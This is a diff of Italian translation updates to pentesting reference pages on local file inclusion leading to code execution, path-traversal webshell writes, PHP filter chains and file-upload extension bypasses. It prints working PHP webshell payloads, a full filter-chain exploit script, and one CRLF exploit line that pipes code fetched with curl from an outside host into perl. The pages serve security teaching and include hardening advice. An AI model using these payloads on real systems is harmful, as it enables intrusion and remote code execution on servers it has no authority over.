Poi, per ottenere il leak del primo char viene usato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**.
|
||||
Poi, per leak il primo carattere viene usato il filter **`dechunk`** insieme ad altri come **base64** o **rot13** e infine i filter **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per mettere altri caratteri all'inizio e leakarli.
|
||||
|
||||
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Per i dettagli tecnici controlla il post menzionato!
|
||||
|
||||
@ -427,20 +427,20 @@ Per i dettagli tecnici controlla il post menzionato!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Quando il codice server-side che ingests/uploads file costruisce il destination path usando dati controllati dall'utente (es. un filename o URL) senza canonicalising e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se riesci a posizionare il payload sotto una web-exposed directory, di solito ottieni una unauthenticated RCE droppando una webshell.
|
||||
Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es. un filename o una URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare un arbitrary file write. Se puoi piazzare il payload sotto una directory esposta al web, di solito ottieni una unauthenticated RCE droppando una webshell.
|
||||
|
||||
Typical exploitation workflow:
|
||||
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
Tipico workflow di exploitation:
|
||||
- Identificare un write primitive in un endpoint o in un background worker che accetta un percorso/filename e scrive contenuto su disco (es. ingestion guidata da messaggi, handler di comandi XML/JSON, extractor di ZIP, ecc.).
|
||||
- Determinare le directory esposte al web. Esempi comuni:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
|
||||
- Browse to the dropped payload and execute commands.
|
||||
- Costruire un percorso di traversal che esce dalla directory di storage prevista verso la webroot, e includere il contenuto della webshell.
|
||||
- Navigare al payload droppato ed eseguire comandi.
|
||||
|
||||
Notes:
|
||||
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
|
||||
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
|
||||
Note:
|
||||
- Il servizio vulnerabile che esegue la scrittura potrebbe ascoltare su una porta non-HTTP (es. un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà in seguito il tuo payload.
|
||||
- Su stack Java, queste scritture su file sono spesso implementate con una semplice concatenazione `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -467,25 +467,25 @@ in.transferTo(out);
|
||||
</JMF>
|
||||
```
|
||||
Hardening che neutralizza questa classe di bug:
|
||||
- Risolvere in un percorso canonico e assicurarsi che sia un discendente di una directory base allow-listed.
|
||||
- Rifiutare qualsiasi percorso che contenga `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
|
||||
- Eseguire il writer come un account a basso privilegio e segregare le directory di scrittura dalle root servite.
|
||||
- Risolvere in un percorso canonico e imporre che sia discendente di una directory base allow-listed.
|
||||
- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire filenames generati.
|
||||
- Eseguire il writer con un account a privilegi ridotti e segregare le directory di scrittura dalle radici servite.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
Spiegato in precedenza, [**segui questo link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire dentro il **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
Se il server Apache o Nginx è **vulnerable to LFI** dentro la funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserendo nell'**user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente altro verrà eseguito**.
|
||||
> Nota che **se usi le double quotes** per la shell invece delle **simple quotes**, le double quotes verranno modificate nella stringa "_**quote;**_", **PHP genererà un errore** e **niente verrà eseguito**.
|
||||
>
|
||||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità.
|
||||
> Inoltre, assicurati di **write correctly the payload** o PHP darà errore ogni volta che tenterà di caricare il file di log e non avrai una seconda opportunità.
|
||||
|
||||
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice dentro i log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato dentro i log. La PHPShell potrebbe essere inserita dentro questo header.\
|
||||
Other possible log paths:
|
||||
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 e viene decodificato all'interno dei log. La PHPShell potrebbe essere inserita dentro questo header.\
|
||||
Altri possibili percorsi di log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -499,25 +499,25 @@ Other possible log paths:
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Tramite Email
|
||||
|
||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/*/fd/*
|
||||
### Tramite /proc/\*/fd/\*
|
||||
|
||||
1. Carica molte shells (per esempio: 100)
|
||||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere determinato via brute force) e $FD il file descriptor (può essere determinato via brute force anche questo)
|
||||
1. Carica molte shell (per esempio: 100)
|
||||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD = file descriptor (può essere brute forced anch'esso)
|
||||
|
||||
### Via /proc/self/environ
|
||||
### Tramite /proc/self/environ
|
||||
|
||||
Come un file di log, invia il payload nel User-Agent; sarà riflesso all'interno del file /proc/self/environ
|
||||
Come un file di log, invia il payload nello User-Agent; sarà riflesso all'interno del file /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se puoi uploadare un file, iniettaci semplicemente lo shell payload (es.: `<?php system($_GET['c']); ?>`).
|
||||
Se puoi effettuare l'upload di un file, inietta semplicemente il shell payload al suo interno (es.: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -529,9 +529,9 @@ Carica un file ZIP contenente una PHP shell compressa e accedi:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via sessioni PHP
|
||||
### Tramite PHP sessions
|
||||
|
||||
Verificare se il sito web utilizza sessioni PHP (PHPSESSID)
|
||||
Controlla se il sito usa PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -545,32 +545,32 @@ Imposta il cookie su `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Usa LFI per includere il file di sessione PHP
|
||||
Usa la LFI per includere il file di sessione PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### Tramite ssh
|
||||
|
||||
Se ssh è attivo, verifica quale utente viene utilizzato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
|
||||
Se ssh è attivo, verifica quale utente viene usato (/proc/self/status & /etc/passwd) e prova ad accedere a **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **Tramite** **vsftpd** _**logs**_
|
||||
|
||||
I logs per il server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nel caso in cui sia presente una vulnerabilità di Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:
|
||||
I log del server FTP vsftpd si trovano in _**/var/log/vsftpd.log**_. Nello scenario in cui esista una vulnerabilità di Local File Inclusion (LFI), e sia possibile accedere a un server vsftpd esposto, possono essere considerate le seguenti operazioni:
|
||||
|
||||
1. Inietta un payload PHP nel campo username durante il processo di login.
|
||||
2. Dopo l'iniezione, utilizza la LFI per recuperare i logs del server da _**/var/log/vsftpd.log**_.
|
||||
2. Dopo l'iniezione, utilizza la LFI per recuperare i log del server da _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### Tramite php base64 filter (using base64)
|
||||
|
||||
Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, il filtro PHP base64 ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci una base64 che termina con ".php", il filtro ignorerà il "." e aggiungerà "php" alla base64. Ecco un payload di esempio:
|
||||
Come mostrato in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignora i caratteri non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci base64 che termina con ".php", ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (nessun file necessario)
|
||||
### Via php filters (non è necessario un file)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters to generate arbitrary content** come output. Il che significa sostanzialmente che puoi **generate arbitrary php code** per l'include **without needing to write** it in un file.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters per generare contenuto arbitrario** come output. Il che significa fondamentalmente che puoi **generare codice php arbitrario** per l'include **senza doverlo scrivere** in un file.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -579,16 +579,16 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Upload** un file che sarà memorizzato come **temporary** in `/tmp`, poi nella **same request,** provoca un **segmentation fault**, e allora il **temporary file won't be deleted** e puoi cercarlo.
|
||||
Carica un file che verrà memorizzato come temporaneo in `/tmp`, poi nella stessa richiesta provoca un segmentation fault; il file temporaneo non verrà eliminato e potrai cercarlo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Via Nginx memorizzazione temporanea dei file
|
||||
|
||||
Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a **PHP** potresti ottenere **RCE** con la seguente tecnica:
|
||||
Se hai trovato una Local File Inclusion e Nginx è in esecuzione davanti a PHP, potresti ottenere RCE con la seguente tecnica:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Se trovi una **Local File Inclusion** anche se **don't have a session** e `session.auto_start` è `Off`. Se fornisci il **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **enable the session for you**. Potresti abusarne per ottenere **RCE**:
|
||||
Se hai trovato una Local File Inclusion anche se non hai una sessione e `session.auto_start` è `Off`. Se fornisci **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP abiliterà la sessione per te. Puoi abusarne per ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Via upload di file temporanei in Windows
|
||||
|
||||
Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere **RCE**:
|
||||
Se hai trovato una Local File Inclusion e il server gira su Windows, potresti ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -615,52 +615,52 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste di default in php docker images. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro dell'URL non ha un `=`, dovrebbe essere usato come argomento. Vedi anche [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Quanto segue sfrutta una CRLF vuln per ottenere RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### Tramite phpinfo() (file_uploads = on)
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on, puoi ottenere RCE:
|
||||
Se hai trovato una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Tramite compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Se trovi una **Local File Inclusion** e puoi **exfiltrate the path** del temp file MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**:
|
||||
Se hai trovato una **Local File Inclusion** e puoi **exfiltrate the path** del file temporaneo MA il **server** sta **checking** se il **file to be included has PHP marks**, puoi provare a **bypass that check** con questa **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Tramite eternal waiting + bruteforce
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se puoi abusare della **LFI** per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames durante ore** per trovare il file temporaneo:
|
||||
Se puoi abusare della LFI per **upload temporary files** e far **hang** l'esecuzione PHP, potresti poi **brute force filenames during hours** per trovare il file temporaneo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### Per causare un Fatal Error
|
||||
### To Fatal Error
|
||||
|
||||
Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per generare quell'errore).
|
||||
Se includi uno qualsiasi dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 time per generare quell'errore).
|
||||
|
||||
**Non so quanto questo sia utile ma potrebbe esserlo.**\
|
||||
_Anche se provochi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._
|
||||
**Non so quanto possa essere utile ma potrebbe esserlo.**\
|
||||
_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -3,38 +3,38 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Introduzione
|
||||
## Intro
|
||||
|
||||
[**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) spiega che puoi usare **php filters** per generare contenuto arbitrario come output. Questo fondamentalmente significa che puoi generare **php code** arbitrario per l'include **senza doverlo scrivere** in un file.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)spiega che puoi usare **php filters to generate arbitrary content** come output. Questo in pratica significa che puoi **generate arbitrary php code** per l'include **senza doverlo scrivere** su un file.
|
||||
|
||||
L'obiettivo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **finalmente decodificata**, fornendo il payload desiderato che verrà **interpretato da `include`**.
|
||||
Fondamentalmente lo scopo dello script è **generare una stringa Base64** all'**inizio** del file che verrà **infine decodificata**, fornendo il payload desiderato che sarà **interpretato da `include`**.
|
||||
|
||||
Le basi per farlo sono:
|
||||
|
||||
- `convert.iconv.UTF8.CSISO2022KR` prependerà sempre `\x1b$)C` alla stringa
|
||||
- `convert.base64-decode` è estremamente tollerante: essenzialmente ignorerà qualsiasi carattere che non sia un carattere base64 valido. Può creare qualche problema se trova un "=" inatteso, ma questi possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`.
|
||||
- `convert.iconv.UTF8.CSISO2022KR` aggiungerà sempre `\x1b$)C` all'inizio della stringa
|
||||
- `convert.base64-decode` è estremamente tollerante: fondamentalmente ignorerà qualsiasi carattere che non sia un valido Base64. Può creare problemi se trova un "=" inatteso, ma quelli possono essere rimossi con il filtro `convert.iconv.UTF8.UTF7`.
|
||||
|
||||
Il ciclo per generare contenuto arbitrario è:
|
||||
Il loop per generare contenuto arbitrario è:
|
||||
|
||||
1. aggiungi `\x1b$)C` all'inizio della nostra stringa come descritto sopra
|
||||
2. applica una catena di conversioni iconv che lascia intatto il nostro base64 iniziale e converte la parte che abbiamo appena preapposto in una stringa in cui l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64
|
||||
3. decodifica base64 e codifica di nuovo in base64 la stringa, il che rimuoverà qualsiasi "garbage" nel mezzo
|
||||
4. torna al punto 1 se il base64 che vogliamo costruire non è ancora completo
|
||||
5. decodifica base64 per ottenere il nostro php code
|
||||
1. prepende `\x1b$)C` alla nostra stringa come descritto sopra
|
||||
2. applica una catena di conversioni iconv che lascia intatto il nostro Base64 iniziale e converte la parte appena preppendata in una stringa in cui l'unico carattere valido Base64 è la parte successiva del nostro codice php codificato in base64
|
||||
3. base64-decode e base64-encode della stringa, che rimuoverà qualsiasi "spazzatura" interposta
|
||||
4. torna al punto 1 se il Base64 che vogliamo costruire non è ancora completo
|
||||
5. base64-decode per ottenere il nostro codice php
|
||||
|
||||
> [!WARNING]
|
||||
> Gli include di solito fanno cose come aggiungere ".php" alla fine del file, il che può complicare l'exploitation perché dovresti trovare un file .php con un contenuto che non uccida l'exploit... oppure puoi semplicemente usare `php://temp` come risorsa perché può avere qualsiasi cosa aggiunta al nome (es. lie + ".php") e permetterà comunque all'exploit di funzionare!
|
||||
> **Includes** di solito fanno cose come **aggiungere ".php" alla fine** del file, il che può complicare lo sfruttamento perché dovresti trovare un file .php con un contenuto che non annulli l'exploit... oppure **potresti semplicemente usare `php://temp` come resource** perché può **avere qualsiasi cosa aggiunta nel nome** (lie +".php") e permetterà comunque all'exploit di funzionare!
|
||||
|
||||
## Come aggiungere anche suffissi ai dati risultanti
|
||||
## How to add also suffixes to the resulting data
|
||||
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (per esempio json o aggiungere alcuni magic bytes di PNG).
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) come è ancora possibile abusare dei PHP filters per aggiungere suffissi alla stringa risultante. Questo è utile nel caso in cui l'output debba avere un formato specifico (come json o ad esempio aggiungere alcuni magic bytes PNG)
|
||||
|
||||
## Strumenti automatici
|
||||
## Automatic Tools
|
||||
|
||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
|
||||
|
||||
## Script completo
|
||||
## Full script
|
||||
```python
|
||||
import requests
|
||||
|
||||
@ -96,7 +96,7 @@ print(r.text)
|
||||
```
|
||||
### Miglioramenti
|
||||
|
||||
Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Perciò, ho creato il mio script per eseguire un **bruteforce di tutti i caratteri base64**:
|
||||
Lo script precedente è limitato ai caratteri base64 necessari per quel payload. Pertanto, ho creato il mio script per **bruteforce di tutti i caratteri base64**:
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
@ -251,7 +251,7 @@ find_vals($init);
|
||||
}
|
||||
?>
|
||||
```
|
||||
## Ulteriori Riferimenti
|
||||
## Ulteriori riferimenti
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# File Upload
|
||||
# Caricamento file
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,11 +17,11 @@ Altre estensioni utili:
|
||||
|
||||
### Bypass dei controlli sulle estensioni dei file
|
||||
|
||||
1. Se applicabile, **controlla** le **estensioni precedenti**. Testale anche usando qualche **maiuscola**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
|
||||
1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Controlla **aggiungendo una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforceare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** già menzionate_)
|
||||
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** di tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Altre estensioni utili:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell’**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o **aggiungendo dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Altre estensioni utili:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
|
||||
5. Aggiungi **un ulteriore livello di estensioni** ai controlli precedenti:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Prova a mettere l'**estensione eseguibile prima** dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice):
|
||||
6. Prova a mettere l'**estensione eseguibile prima** della estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione **.php**, ma **non necessariamente terminante in .php**, eseguirà codice):
|
||||
- _ex: file.php.png_
|
||||
7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe poi essere modificato usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”)
|
||||
8. Prova a superare i limiti sul nome file. L'estensione valida viene troncata. E il PHP maligno rimane. AAA<--SNIP-->AAA.php
|
||||
7. Usare gli **NTFS alternate data stream (ADS)** su **Windows**. In questo caso verrà inserito il carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg”). Questo file potrebbe essere modificato più tardi usando altre tecniche come il suo short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”)
|
||||
8. Prova a superare i limiti di lunghezza del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass di Content-Type, Magic Number, Compression & Resizing
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
